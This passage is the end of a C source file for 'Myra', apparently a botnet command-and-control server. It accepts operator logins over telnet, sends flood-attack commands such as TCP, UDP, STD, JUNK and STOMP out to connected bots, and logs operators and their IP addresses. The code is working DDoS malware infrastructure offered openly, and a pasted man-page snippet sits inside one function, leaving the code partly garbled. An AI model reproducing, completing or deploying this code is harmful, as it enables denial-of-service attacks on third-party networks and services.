4783 sprintf(myra, " \e[38;5;225m╔═══════════════════════════════╗\r\n \e[38;5;225m║ \e[38;5;168mWhy did you stop? ): \e[38;5;225m║\r\n \e[38;5;225m║ \e[38;5;168mTesting something perhaps? \e[38;5;225m║\r\n \e[38;5;225m║ \e[38;5;168mMeh, its oki, trim_integer stopped </3 \e[38;5;225m║\r\n \e[38;5;225m╚═══════════════════════════════╝\r\n");
4784 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return;
4785 } // Let Us Continue Our Journey!
4786 if(strstr(myra_buffer_size, "CRUSH")) // CRUSH ATTACK
4787 { // Let Us Continue Our Journey!
4788 sprintf(myra, " \e[38;5;225m╔══════════════════════╗\r\n \e[38;5;225m║ \e[38;5;168mAttack Sent! \e[38;5;225m║ ╔════════════════════════════╗\r\n \e[38;5;225m║ \e[38;5;168mMethod: CRUSH \e[38;5;225m╠══════╣ \e[38;5;168m. STOP to stop the attack! \e[38;5;225m║\r\n \e[38;5;225m║ \e[38;5;168mUsage: STD unknown_integer TCP \e[38;5;225m║ ╚════════════════════════════╝\r\n \e[38;5;225m╚══════════════════════╝\r\n");
4789 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return;
4790 } // Let Us Continue Our Journey!
4791 if(strstr(myra_buffer_size, "COMBO")) // COMBO ATTACK
4792 { // Let Us Continue Our Journey!
4793 sprintf(myra, " \e[38;5;225m╔══════════════════════╗\r\n \e[38;5;225m║ \e[38;5;168mAttack Sent! \e[38;5;225m║ ╔════════════════════════════╗\r\n \e[38;5;225m║ \e[38;5;168mMethod: COMBO \e[38;5;225m╠══════╣ \e[38;5;168m. STOP to stop the attack! \e[38;5;225m║\r\n \e[38;5;225m║ \e[38;5;168mUsage: JUNK unknown_integer HOLD \e[38;5;225m║ ╚════════════════════════════╝\r\n \e[38;5;225m╚══════════════════════╝\r\n");
4794 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return;
4795 } // Let Us Continue Our Journey!
4796 if(strstr(myra_buffer_size, "TCP")) // TCP ATTACK
4797 { // Let Us Continue Our Journey!
4798 sprintf(myra, " \e[38;5;225m╔══════════════════════╗\r\n \e[38;5;225m║ \e[38;5;168mAttack Sent! \e[38;5;225m║ ╔════════════════════════════╗\r\n \e[38;5;225m║ \e[38;5;168mMethod: TCP \e[38;5;225m╠══════╣ \e[38;5;168m. STOP to stop the attack! \e[38;5;225m║\r\n \e[38;5;225m║ \e[38;5;168mUsage: TCPFLOOD \e[38;5;225m║ ╚════════════════════════════╝\r\n \e[38;5;225m╚══════════════════════╝\r\n");
4799 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return;
4800 } // Let Us Continue Our Journey!
4801 if(strstr(myra_buffer_size, "UDP")) // UDP ATTACK
4802 { // Let Us Continue Our Journey! ╚═════════════════════════════╝ X 31 ||
4803 sprintf(myra, " \e[38;5;225m╔══════════════════════╗\r\n \e[38;5;225m║ \e[38;5;168mAttack Sent! \e[38;5;225m ║ ╔════════════════════════════╗\r\n \e[38;5;225m║ \e[38;5;168mMethod: UDP \e[38;5;225m ╠══════╣ \e[38;5;168m. STOP to stop the attack! \e[38;5;225m║\r\n \e[38;5;225m║ \e[38;5;168mUsage: UDPFLOOD \e[38;5;225m ║ ╚════════════════════════════╝\r\n \e[38;5;225m╚══════════════════════╝\r\n");
4804 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return;
4805 } // Let Us Continue Our Journey!
4806 if(strstr(myra_buffer_size, "STD")) // STD ATTACK
4807 { // Let Us Continue Our Journey!
4808 sprintf(myra, " \e[38;5;225m╔══════════════════════╗\r\n \e[38;5;225m║ \e[38;5;168mAttack Sent! \e[38;5;225m ║ ╔════════════════════════════╗\r\n \e[38;5;225m║ \e[38;5;168mMethod: STD \e[38;5;225m ╠══════╣ \e[38;5;168m. STOP to stop the attack! \e[38;5;225m║\r\n \e[38;5;225m║ \e[38;5;168mUsage: STDFLOOD \e[38;5;225m ║ ╚════════════════════════════╝\r\n \e[38;5;225m╚══════════════════════╝\r\n");
4809 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return;
4810 } // Let Us Continue Our Journey!
4811 if(strstr(myra_buffer_size, "STOMP")) // STOMP ATTACK
4812 { // Let Us Continue Our Journey!
4813 sprintf(myra, " \e[38;5;225m╔════════════════════════╗\r\n \e[38;5;225m║ \e[38;5;168mAttack Sent! \e[38;5;225m║ ╔════════════════════════════╗\r\n \e[38;5;225m║ \e[38;5;168mMethod: STOMP \e[38;5;225m╠══════╣ \e[38;5;168m. STOP to stop the attack! \e[38;5;225m║\r\n \e[38;5;225m║ \e[38;5;168mUsage: UDP unknown_integer STD unknown_integer TCP \e[38;5;225m║ ╚════════════════════════════╝\r\n \e[38;5;225m╚════════════════════════╝\r\n");
4814 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return;
4815 } // Let Us Continue Our Journey!
4816 if(strstr(myra_buffer_size, "JUNK")) // JUNK ATTACK
4817 { // Let Us Continue Our Journey! ╚══════════════════════╝ unknown_integer 24 || ╔════════════════════════╗ unknown_integer 26
4818 sprintf(myra, " \e[38;5;225m╔══════════════════════╗\r\n \e[38;5;225m║ \e[38;5;168mAttack Sent! \e[38;5;225m ║ ╔════════════════════════════╗\r\n \e[38;5;225m║ \e[38;5;168mMethod: JUNK \e[38;5;225m ╠══════╣ \e[38;5;168m. STOP to stop the attack! \e[38;5;225m║\r\n \e[38;5;225m║ \e[38;5;168mUsage: JUNKFLOOD \e[38;5;225m ║ ╚════════════════════════════╝\r\n \e[38;5;225m╚══════════════════════╝\r\n");
4819 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return;
4820 } // Let Us Continue Our Journey!
4821 if (strstr(myra_buffer_size, "EXIT") || strstr(myra_buffer_size, "exit")) // We Are Closing Connection!
4822 { // Let Us Continue Our Journey!
4823 goto finish_integer; // We Are Dropping Down to finish_integer:
4824 } // Let Us Continue Our Journey!
4825 trim_removev2(myra_buffer_size);
4826 sprintf(myra, "\e[38;5;134m[\e[38;5;225m%s\e[38;5;134m@\e[38;5;168mMyra\e[38;5;134m]\e[38;5;154m$\e[38;5;168m ", accounts[find_line].username, myra_buffer_size); // User Input - Hostname
4827 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) goto finish_integer; // // Each Line Set on [MSG_NOSIGNAL] - Broadcast
4828 if(strlen(myra_buffer_size) == 0) continue;
4829 printf("\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser\e[38;5;134m:[\e[38;5;168m%s\e[38;5;134m] \e[38;5;225m- \e[38;5;168mCommand\e[38;5;134m:[\e[38;5;168m%s\e[38;5;134m]\n",accounts[find_line].username, myra_buffer_size);
4830 FILE *myra_log_file;
4831 myra_log_file = fopen("logs/Myra_C2.log", "a"); // Log Our User -- Just In Case There Are 'Certain Problems'
4832 fprintf(myra_log_file, "\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser\e[38;5;134m:[\e[38;5;168m%s\e[38;5;134m] \e[38;5;134m- \e[38;5;168mCommand\e[38;5;134m:[\e[38;5;168m%s\e[38;5;134m]\n", accounts[find_line].username, myra_buffer_size);
4833 fclose(myra_log_file); // Close The Log File
4834 myra_broadcast(myra_buffer_size, clear_myra_broadcast, usernamez); // Broadcast The Following Stated -- [Buffer, clear_myra_broadcast, Usernames]
4835 memset(myra_buffer_size, 0, 3000); // Set Data Block And Buffer Size --> 0 -- 3000
4836 } // Let Us Continue Our Journey!
4837 finish_integer: // cleanup dead socket
4838 managements[clear_myra_broadcast].transmitted_successfully = 0; // Managments Connected, Decrease Value To The Following Value
4839 close(clear_myra_broadcast); // Close..
4840 successful_transmission--; // Display New Value [May Change Output Sequence Later.. It Is Quite Stable]
4841}
4842
4843void *socket_interpretation_II(int port) // Void, Certain Elements That Will Tailor The Client... [SOCKET INTERPRETATION II.2] -- [STILL IN BETA STAGES, WORK IN PROGRESS...]
4844{
4845 int socket_file_descriptor1, socket_file_descriptor2; // Create Integer For Socket-Feed, New Socket Feed, Automatically Will Write A New Call --
4846 socklen_t clilen; // New Call Name - Unecessary, But Just Incase, Compiling Is Very Needy And Dependent..
4847 struct sockaddr_in serv_addr, cli_addr; // Create Struct. For Socket Address.. This Will Subside With Client Address
4848 socket_file_descriptor1 = socket(AF_INET, SOCK_STREAM, 0); // New Socket Interpreter -- [Made By Zach, I Will Change Subsiding Unit Once Connection Has Been Made]
4849 if (socket_file_descriptor1 < 0) perror("ERROR opening socket"); // Socket Error Handling, The Stated Integer Value SHOULD NOT Be Greater Than 0 If So, Display Error
4850 bzero((char *) &serv_addr, sizeof(serv_addr)); // We Will Char An Output Communication Towards The Socket, The Broadcast Will Be Constant
4851 serv_addr.sin_family = AF_INET; // Our Socket Properties Will Be Set, Using AF_INET. Everything Together = Sin.Family
4852 serv_addr.sin_addr.s_addr = INADDR_ANY; // Sin Address, Is The Internet Address, It Will Be Set Due To The Client Sending An Income Packet [Test Packet]
4853 serv_addr.sin_port = htons(port); // Using 'htons' We Will Convert The Port Value, Into A Network Integer For The Server To Communicate Properly
4854 if (bind(socket_file_descriptor1, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("[Myra] Screening Error"); // Error Handling Output - Probably Using The Same Port As The Listener
4855 listen(socket_file_descriptor1,5); // Use Listen Function - Using The '5' Value
4856 clilen = sizeof(cli_addr); // Define 'clilen' With The Size Of Our Client Address [ User Connecting To The C2 ]
4857 while(1)
4858 { printf("\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mIncoming User Connection From "); // Client Size == The IP Of The User Connecting
4859/*
4860 #define MY_SOCK_PATH "/somepath"
4861 #define LISTEN_BACKLOG 50
4862
4863 #define handle_error(msg) \
4864 do { perror(msg); exit(EXIT_FAILURE); } while (0)
4865
4866 int
4867 main(int argc, char *argv[])
4868 {
4869 int sfd, cfd;
4870 struct sockaddr_un my_addr, peer_addr;
4871 socklen_t peer_addr_size;
4872
4873 sfd = socket(AF_UNIX, SOCK_STREAM, 0);
4874 if (sfd == -1)
4875 handle_error("socket");
4876
4877 memset(&my_addr, 0, sizeof(struct sockaddr_un));
4878
4879 my_addr.sun_family = AF_UNIX;
4880 strncpy(my_addr.sun_path, MY_SOCK_PATH,
4881 sizeof(my_addr.sun_path) - 1);
4882
4883 if (bind(sfd, (struct sockaddr *) &my_addr,
4884 sizeof(struct sockaddr_un)) == -1)
4885 handle_error("bind");
4886
4887 if (listen(sfd, LISTEN_BACKLOG) == -1)
4888 handle_error("listen");
4889
4890 peer_addr_size = sizeof(struct sockaddr_un);
4891 cfd = accept(sfd, (struct sockaddr *) &peer_addr,
4892 &peer_addr_size);
4893 if (cfd == -1)
4894 handle_error("accept");
4895
4896 /* Code to deal with incoming connection(s)...
4897
4898 /* When no longer required, the socket pathname, MY_SOCK_PATH
4899 should be deleted using unlink(2) or remove(3)
4900*/
4901 myra_client_address(cli_addr); // Set Client Address, As Variable In Order To Log
4902 FILE *myra_log_file; // Use LogFILE Function
4903 myra_log_file = fopen("logs/Myra_Connection.log", "a"); // Create Our Log File.. |Here Is The Output On The Admin Screen|
4904 fprintf(myra_log_file, "\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mIncoming User Connection From \e[38;5;168mIP:\e[38;5;134m[\e[38;5;168m%d.%d.%d.%d\e[38;5;134m]\n",cli_addr.sin_addr.s_addr & 0xFF, (cli_addr.sin_addr.s_addr & 0xFF00)>>8, (cli_addr.sin_addr.s_addr & 0xFF0000)>>16, (cli_addr.sin_addr.s_addr & 0xFF000000)>>24);
4905 fclose(myra_log_file); // Close Our Log File, After Connection [Client Address] Has Been Logged..
4906 socket_file_descriptor2 = accept(socket_file_descriptor1, (struct sockaddr *) &cli_addr, &clilen); // Accept New Socket, Minimises Error Of Binding Failure
4907 if (socket_file_descriptor2 < 0) perror("ERROR on accept"); // Output An Acceptance -- Something's Went Wrong -- Hard To Detail
4908 pthread_t thread; // Use Pthread, To Set All Network Functions As One Thread -- [So We Can Parse Threads To The Client]
4909 pthread_create( &thread, NULL, &myra_telnet_data, (void *)socket_file_descriptor2); // Create The Thread '&thread, NULL, &myra_telnet_data, (void *)socket_file_descriptor2'
4910 }
4911}
4912
4913int main (int argc, char *argv[], void *sock) // Set Integers For Arguements - Then Char For Output Communication
4914{
4915 signal(SIGPIPE, SIG_IGN); // ignore broken pipe errors sent from kernel
4916 int s, threads, port; // Creating Integers For 'Threads & Port'
4917 struct epoll_event event; // Create Struct, For EPOLL, We Will Use This For Our Sockets
4918 if (argc != 4) // Set Argument Value, [Default Execution Output Argument Value]
4919 {
4920 fprintf (stderr, "\e[38;5;225mWelcome To Myra-\e[38;5;168mV\n");
4921 fprintf (stderr, "Usage: %s \e[38;5;225m[\e[38;5;168mport\e[38;5;225m] [\e[38;5;168mthreads\e[38;5;225m] [\e[38;5;168mcnc-port\e[38;5;225m]\n", argv[0]); // Display Help [Only If All Arguments Have Not Been Applied]
4922 exit (EXIT_FAILURE); // No Failure, Just No Arguments
4923 }
4924 port = atoi(argv[3]); // Set Argument Value '3' - For Port
4925 threads = atoi(argv[2]); // Set Argument Value '2' - For Threads
4926 if (threads > 1500) // Thread Limit - Change It If You Want - These Are My Recommendations
4927 {
4928 printf("[Myra] Thread Limit Exceeded! Please Lower Threat Count!\n"); // Are You Stupid? - Do You Wanna Really Try To Broadcast With EXTREME Network Output??
4929 return 0; // Kill
4930 }
4931 else if (threads < 1000) // You Have Picked A Reasonible Thread Number - Thank You For Listening To Me :)
4932 {
4933 printf(""); // printf("Well Done You Absolute Uncultured Swine, You Aren't A Skid After All...");
4934 }
4935 printf("\e[38;5;225m╔═══════════════════════════════════╗\r\n\e[38;5;225m║ \e[38;5;134mWelcome To Myra \e[38;5;225m║\r\n\e[38;5;225m║ \e[38;5;134mC2 x Telnet Layer \e[38;5;225m╠════════╗\r\n\e[38;5;225m║ \e[38;5;134mServer Is Sucessfully Screened! \e[38;5;225m║ ║ ╔════════════════════════╗\r\n\e[38;5;225m╚═════╦═════════════════════════════╝ ╚═════╣ \e[38;5;134mCreated By Zach \e[38;5;225m║\r\n \e[38;5;225m║ ╚═════╦══════════════════╝\r\n \e[38;5;225m║ ╔════╗ \e[38;5;225m║\r\n \e[38;5;225m╚═══╣ \e[38;5;134m<3 \e[38;5;225m╠═════╗ ╔════════════╗ \e[38;5;225m║\r\n \e[38;5;225m╚════╝ ║ ║ \e[38;5;134mRIP Katura \e[38;5;225m╠════════════╝\r\n \e[38;5;225m║ ╚═══╦════════╝\r\n \e[38;5;225m║ ║\r\n \e[38;5;225m║ ║\r\n \e[38;5;225m╚═════════════╝\r\n");
4936 listeninginterpretation = socket_intepretation_modified(argv[1]); // try to create a listening socket, die if we can't
4937 if (listeninginterpretation == -1) abort(); // Killing Myself
4938
4939 s = socket_interpretation_block_v1 (listeninginterpretation); // try to make it nonblocking, die if we can't
4940 if (s == -1) abort(); // Killing Myself
4941
4942 s = listen (listeninginterpretation, SOMAXCONN); // listen with a huuuuge backlog, die if we can't
4943 if (s == -1) // Check If I Wanna Die.
4944 {
4945 perror ("myra_listening_interpretation : failed"); // Listen - Error
4946 abort (); // Yep, I wanna die..
4947 }
4948 bindinginterpreter = epoll_create1 (0); // make an epoll listener, die if we can't
4949 if (bindinginterpreter == -1) // Check If I Wanna Die Again..
4950 {
4951 perror ("myra_socket_binding_epoll : failed"); // EPOLL_ERROR - Yeah...
4952 abort (); // Okay Sure, Let's Die..
4953 }
4954 event.data.fd = listeninginterpretation; // EPOLL_EVENT DATA
4955 event.events = EPOLLIN | EPOLLET; // EPOLL_USE MODULES
4956 s = epoll_ctl (bindinginterpreter, EPOLL_CTL_ADD, listeninginterpretation, &event); // EPOLL_USE_MODULES -- USE FUNCTION : (bindinginterpreter, EPOLL_CTL_ADD, listeninginterpretation, &event)
4957 if (s == -1) // Check If I Wanna Die Again..
4958 {
4959 perror ("myra_epoll_ctl : failed");
4960 abort (); // Yeah, Let's Die.. One More Time..
4961 }
4962 pthread_t thread[threads + 0]; // Use Pthread Thread + 2, Because We Want A Strong Independent Connection
4963 while(threads--) // While [Thread Count]
4964 {
4965 pthread_create( &thread[threads + 0], NULL, &epollEventLoop, (void *) NULL); // make a thread to command each bot individually
4966 }
4967 pthread_create(&thread[0], NULL, &socket_interpretation_II, port); // Make A Thread To Individually Subside The Network Functions To The Client
4968 while(1) // Let's Wait A WHILE... [1 Second.. We Want Stability.. Right??]
4969 {
4970 myra_broadcast("SUCC", -1, "STRING"); // Broadcast
4971 sleep(60); // Lemme Sleep The Thread For 60 Seconds..
4972 }
4973 close (listeninginterpretation); // Close The Listening FileD, Socket -- Terminate Concurrent Function
4974 return EXIT_SUCCESS; // Exit Successfully, Using Return Statement.
4975} // Myra I [BETA] - 10
4976